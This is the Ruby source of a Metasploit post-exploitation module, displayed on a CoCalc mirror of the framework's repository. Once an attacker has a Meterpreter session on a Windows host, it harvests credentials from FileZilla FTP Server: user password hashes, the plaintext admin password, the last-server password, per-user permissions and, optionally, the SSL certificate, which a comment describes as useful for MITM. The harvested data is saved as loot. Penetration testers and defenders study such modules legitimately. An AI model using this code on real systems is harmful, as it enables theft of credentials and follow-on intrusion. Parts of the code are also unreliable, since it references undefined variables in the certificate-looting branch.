CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/filezilla_server.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
16
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'bannedit', # original idea & module
20
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
21
],
22
'Platform' => ['win'],
23
'SessionTypes' => ['meterpreter' ],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
core_channel_eof
28
core_channel_open
29
core_channel_read
30
core_channel_write
31
stdapi_registry_query_value_direct
32
stdapi_sys_config_getenv
33
stdapi_sys_config_getuid
34
]
35
}
36
}
37
)
38
)
39
40
register_options([
41
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
42
])
43
end
44
45
def run
46
if session.type != 'meterpreter'
47
print_error 'Only meterpreter sessions are supported by this post module'
48
return
49
end
50
51
progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
52
locations = []
53
progfiles_env.each do |_k, v|
54
next if v.blank?
55
56
locations << v + '\\FileZilla Server\\'
57
end
58
59
keys = [
60
'HKLM\\SOFTWARE\\FileZilla Server',
61
'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server',
62
]
63
64
keys.each do |key|
65
begin
66
root_key, base_key = session.sys.registry.splitkey(key)
67
value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir')
68
rescue Rex::Post::Meterpreter::RequestError => e
69
vprint_error(e.message)
70
next
71
end
72
locations << value.data + '\\'
73
end
74
75
locations = locations.uniq
76
filezilla = check_filezilla(locations)
77
get_filezilla_creds(filezilla) if filezilla
78
end
79
80
def check_filezilla(locations)
81
paths = []
82
begin
83
locations.each do |location|
84
print_status("Checking for Filezilla Server directory in: #{location}")
85
begin
86
session.fs.dir.foreach(location.to_s) do |fdir|
87
['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile|
88
next unless fdir == xmlfile
89
90
filepath = location + xmlfile
91
print_good("Configuration file found: #{filepath}")
92
paths << filepath
93
end
94
end
95
rescue Rex::Post::Meterpreter::RequestError => e
96
vprint_error(e.message)
97
end
98
end
99
rescue ::Exception => e
100
print_error(e.to_s)
101
return
102
end
103
104
if !paths.empty?
105
print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}")
106
print_line
107
return paths
108
end
109
110
return nil
111
end
112
113
def get_filezilla_creds(paths)
114
fs_xml = '' # FileZilla Server.xml - Settings for the local install
115
fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface
116
credentials = Rex::Text::Table.new(
117
'Header' => 'FileZilla FTP Server Credentials',
118
'Indent' => 1,
119
'Columns' =>
120
[
121
'Host',
122
'Port',
123
'User',
124
'Password',
125
'SSL'
126
]
127
)
128
129
permissions = Rex::Text::Table.new(
130
'Header' => 'FileZilla FTP Server Permissions',
131
'Indent' => 1,
132
'Columns' =>
133
[
134
'Host',
135
'User',
136
'Dir',
137
'FileRead',
138
'FileWrite',
139
'FileDelete',
140
'FileAppend',
141
'DirCreate',
142
'DirDelete',
143
'DirList',
144
'DirSubdirs',
145
'AutoCreate',
146
'Home'
147
]
148
)
149
150
configuration = Rex::Text::Table.new(
151
'Header' => 'FileZilla FTP Server Configuration',
152
'Indent' => 1,
153
'Columns' =>
154
[
155
'FTP Port',
156
'FTP Bind IP',
157
'Admin Port',
158
'Admin Bind IP',
159
'Admin Password',
160
'SSL',
161
'SSL Certfile',
162
'SSL Key Password'
163
]
164
)
165
166
lastserver = Rex::Text::Table.new(
167
'Header' => 'FileZilla FTP Last Server',
168
'Indent' => 1,
169
'Columns' =>
170
[
171
'IP',
172
'Port',
173
'Password'
174
]
175
)
176
177
paths.each do |path|
178
file = session.fs.file.new(path, 'rb')
179
until file.eof?
180
if path.include? 'FileZilla Server.xml'
181
fs_xml << file.read
182
elsif path.include? 'FileZilla Server Interface.xml'
183
fsi_xml << file.read
184
end
185
end
186
file.close
187
end
188
189
# user credentials password is just an MD5 hash
190
# admin pass is just plain text. Priorities?
191
creds, perms, config = parse_server(fs_xml)
192
193
creds.each do |cred|
194
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
195
196
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
197
198
service_data = {
199
address: session.session_host,
200
port: config['ftp_port'],
201
service_name: 'ftp',
202
protocol: 'tcp',
203
workspace_id: myworkspace_id
204
}
205
206
credential_data = {
207
origin_type: :session,
208
jtr_format: 'raw-md5',
209
session_id: session_db_id,
210
post_reference_name: refname,
211
private_type: :nonreplayable_hash,
212
private_data: cred['password'],
213
username: cred['user']
214
}
215
216
credential_data.merge!(service_data)
217
218
credential_core = create_credential(credential_data)
219
220
# Assemble the options hash for creating the Metasploit::Credential::Login object
221
login_data = {
222
core: credential_core,
223
status: Metasploit::Model::Login::Status::UNTRIED
224
}
225
226
# Merge in the service data and create our Login
227
login_data.merge!(service_data)
228
create_credential_login(login_data)
229
end
230
231
perms.each do |perm|
232
permissions << [
233
perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],
234
perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],
235
perm['dirsubdirs'], perm['autocreate'], perm['home']
236
]
237
end
238
239
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
240
241
# report the goods!
242
if config['admin_pass'] == '<none>'
243
vprint_status('Detected Default Adminstration Settings:')
244
else
245
vprint_status('Collected the following configuration details:')
246
service_data = {
247
address: session.session_host,
248
port: config['admin_port'],
249
service_name: 'filezilla-admin',
250
protocol: 'tcp',
251
workspace_id: myworkspace_id
252
}
253
254
credential_data = {
255
origin_type: :session,
256
session_id: session_db_id,
257
post_reference_name: refname,
258
private_type: :password,
259
private_data: config['admin_pass'],
260
username: 'admin'
261
}
262
263
credential_data.merge!(service_data)
264
265
credential_core = create_credential(credential_data)
266
267
# Assemble the options hash for creating the Metasploit::Credential::Login object
268
login_data = {
269
core: credential_core,
270
status: Metasploit::Model::Login::Status::UNTRIED
271
}
272
273
# Merge in the service data and create our Login
274
login_data.merge!(service_data)
275
create_credential_login(login_data)
276
end
277
278
vprint_status(" FTP Port: #{config['ftp_port']}")
279
vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")
280
vprint_status(" SSL: #{config['ssl']}")
281
vprint_status(" Admin Port: #{config['admin_port']}")
282
vprint_status(" Admin Bind IP: #{config['admin_bindip']}")
283
vprint_status(" Admin Pass: #{config['admin_pass']}")
284
vprint_line
285
286
configuration << [
287
config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],
288
config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']
289
]
290
291
begin
292
lastser = parse_interface(fsi_xml)
293
lastserver << [lastser['ip'], lastser['port'], lastser['password']]
294
vprint_status('Last Server Information:')
295
vprint_status(" IP: #{lastser['ip']}")
296
vprint_status(" Port: #{lastser['port']}")
297
vprint_status(" Password: #{lastser['password']}")
298
vprint_line
299
rescue StandardError
300
vprint_error('Could not parse FileZilla Server Interface.xml')
301
end
302
loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv,
303
'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials')
304
print_status("Credentials saved in: #{loot_path}")
305
306
loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv,
307
'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions')
308
print_status("Permissions saved in: #{loot_path}")
309
310
loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv,
311
'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration')
312
print_status(" Config saved in: #{loot_path}")
313
314
loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv,
315
'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server')
316
print_status(" Last server history: #{loot_path}")
317
318
print_line
319
end
320
321
def parse_server(data)
322
creds = []
323
perms = []
324
groups = []
325
settings = {}
326
users = 0
327
passwords = 0
328
329
begin
330
doc = REXML::Document.new(data).root
331
rescue REXML::ParseException
332
print_error('Invalid xml format')
333
end
334
335
opt = doc.elements.to_a('Settings/Item')
336
if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings
337
settings['admin_port'] = begin
338
opt[0].text
339
rescue StandardError
340
'<none>'
341
end
342
settings['ftp_port'] = 21
343
else
344
settings['ftp_port'] = begin
345
opt[0].text
346
rescue StandardError
347
21
348
end
349
settings['admin_port'] = begin
350
opt[16].text
351
rescue StandardError
352
'<none>'
353
end
354
end
355
settings['admin_pass'] = begin
356
opt[17].text
357
rescue StandardError
358
'<none>'
359
end
360
settings['local_host'] = begin
361
opt[18].text
362
rescue StandardError
363
''
364
end
365
settings['bindip'] = begin
366
opt[38].text
367
rescue StandardError
368
''
369
end
370
settings['ssl'] = begin
371
opt[42].text
372
rescue StandardError
373
''
374
end
375
376
# empty means localhost only * is 0.0.0.0
377
if settings['local_host']
378
settings['admin_bindip'] = settings['local_host']
379
else
380
settings['admin_bindip'] = '127.0.0.1'
381
end
382
settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty?
383
384
if settings['bindip']
385
settings['ftp_bindip'] = settings['bindip']
386
else
387
settings['ftp_bindip'] = '127.0.0.1'
388
end
389
settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty?
390
391
settings['ssl'] = settings['ssl'] == '1'
392
if !settings['ssl'] && datastore['SSLCERT']
393
print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file')
394
end
395
396
settings['ssl_certfile'] = begin
397
items[45].text
398
rescue StandardError
399
'<none>'
400
end
401
# Get the file if it is there. It could be useful in MITM attacks
402
if settings['ssl_certfile'] != '<none>' && settings['ssl'] && datastore['SSLCERT']
403
sslfile = session.fs.file.new(settings['ssl_certfile'])
404
sslcert << sslfile.read until sslfile.eof?
405
store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile,
406
settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File')
407
print_status('Looted SSL Certificate File')
408
end
409
410
settings['ssl_certfile'] = '<none>' if settings['ssl_certfile'].nil?
411
412
settings['ssl_keypass'] = begin
413
items[50].text
414
rescue StandardError
415
'<none>'
416
end
417
settings['ssl_keypass'] = '<none>' if settings['ssl_keypass'].nil?
418
419
vprint_status('Collected the following credentials:') if doc.elements['Users']
420
421
doc.elements.each('Users/User') do |user|
422
account = {}
423
opt = user.elements.to_a('Option')
424
account['user'] = begin
425
user.attributes['Name']
426
rescue StandardError
427
'<none>'
428
end
429
account['password'] = begin
430
opt[0].text
431
rescue StandardError
432
'<none>'
433
end
434
account['group'] = begin
435
opt[1].text
436
rescue StandardError
437
'<none>'
438
end
439
users += 1
440
passwords += 1
441
groups << account['group']
442
443
user.elements.to_a('Permissions/Permission').each do |permission|
444
perm = {}
445
opt = permission.elements.to_a('Option')
446
perm['user'] = begin
447
user.attributes['Name']
448
rescue StandardError
449
'<unknown>'
450
end
451
perm['dir'] = begin
452
permission.attributes['Dir']
453
rescue StandardError
454
'<unknown>'
455
end
456
perm['fileread'] = begin
457
opt[0].text
458
rescue StandardError
459
'<unknown>'
460
end
461
perm['filewrite'] = begin
462
opt[1].text
463
rescue StandardError
464
'<unknown>'
465
end
466
perm['filedelete'] = begin
467
opt[2].text
468
rescue StandardError
469
'<unknown>'
470
end
471
perm['fileappend'] = begin
472
opt[3].text
473
rescue StandardError
474
'<unknown>'
475
end
476
perm['dircreate'] = begin
477
opt[4].text
478
rescue StandardError
479
'<unknown>'
480
end
481
perm['dirdelete'] = begin
482
opt[5].text
483
rescue StandardError
484
'<unknown>'
485
end
486
perm['dirlist'] = begin
487
opt[6].text
488
rescue StandardError
489
'<unknown>'
490
end
491
perm['dirsubdirs'] = begin
492
opt[7].text
493
rescue StandardError
494
'<unknown>'
495
end
496
perm['autocreate'] = begin
497
opt[9].text
498
rescue StandardError
499
'<unknown>'
500
end
501
perm['host'] = settings['ftp_bindip']
502
503
opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false')
504
505
perms << perm
506
end
507
508
user.elements.to_a('IpFilter/Allowed').each do |allowed|
509
end
510
user.elements.to_a('IpFilter/Disallowed').each do |disallowed|
511
end
512
513
account['host'] = settings['ftp_bindip']
514
account['port'] = settings['ftp_port']
515
account['ssl'] = settings['ssl'].to_s
516
creds << account
517
518
vprint_status(" Username: #{account['user']}")
519
vprint_status(" Password: #{account['password']}")
520
vprint_status(" Group: #{account['group']}") if account['group']
521
vprint_line
522
end
523
524
# Rather than printing out all the values, just count up
525
groups = groups.uniq unless groups.uniq.nil?
526
if !datastore['VERBOSE']
527
print_status('Collected the following credentials:')
528
print_status(" Usernames: #{users}")
529
print_status(" Passwords: #{passwords}")
530
print_status(" Groups: #{groups.length}")
531
print_line
532
end
533
return [creds, perms, settings]
534
end
535
536
def parse_interface(data)
537
lastser = {}
538
539
begin
540
doc = REXML::Document.new(data).root
541
rescue REXML::ParseException
542
print_error('Invalid xml format')
543
return lastser
544
end
545
546
opt = doc.elements.to_a('Settings/Item')
547
548
opt.each do |item|
549
case item.attributes['name']
550
when /Address/
551
lastser['ip'] = item.text
552
when /Port/
553
lastser['port'] = item.text
554
when /Password/
555
lastser['password'] = item.text
556
end
557
end
558
559
lastser['password'] = '<none>' if lastser['password'].nil?
560
561
lastser
562
end
563
564
def got_root?
565
session.sys.config.getuid =~ /SYSTEM/ ? true : false
566
end
567
568
def whoami
569
session.sys.config.getenv('USERNAME')
570
end
571
end
572
573